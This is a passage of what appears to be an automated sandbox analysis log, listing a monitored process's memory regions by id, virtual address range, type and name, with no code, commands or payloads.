entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9092 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9093 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9094 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9095 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9096 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9097 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9098 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9099 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9100 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9101 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9102 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9103 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9104 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9105 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9106 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9107 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9108 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9109 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9110 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9111 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9112 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9113 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9114 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9115 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9116 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9117 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9118 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9119 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9120 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9121 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9122 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9123 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9124 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9125 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9126 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9127 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9128 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9129 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9130 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9131 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9132 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9133 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9134 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9135 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9136 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9137 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9138 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9139 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9140 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9141 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9142 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9143 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9144 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9145 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9146 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9147 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9148 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9149 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9150 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9151 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9152 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9153 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9154 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9155 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9156 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9157 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9158 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9159 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9160 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9161 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9162 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9163 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9164 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9165 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9166 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9167 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9168 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9169 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9170 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9171 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9172 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9173 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9174 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9175 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9176 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9177 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9178 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9179 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9180 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9181 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9182 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9183 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9184 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9185 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9186 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 9187 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9188 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9189 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9190 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9191 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9192 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9193 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9194 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9195 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9196 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9197 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9198 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9199 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9200 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9201 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9202 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9203 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9204 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9205 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9206 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9207 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9208 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9209 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9210 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9211 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9212 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9213 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9214 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9215 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9216 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9217 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9218 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9219 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9220 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9221 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9222 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9223 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9224 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9225 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9226 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9227 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9228 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9229 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9230 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9231 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9232 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9233 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9234 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9235 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9236 start_va = 0x2270000 end_va = 0x227efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 9237 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 9238 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9239 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9240 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9241 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9242 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9243 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9244 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9245 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9246 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9247 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9248 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9249 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9250 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9251 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9252 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9253 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9254 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9255 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9256 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9257 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9258 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9259 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9260 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9261 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9262 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9263 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9264 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9265 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9266 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9267 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9268 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9269 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9270 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9271 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9272 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9273 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9274 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9275 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9276 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 9277 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 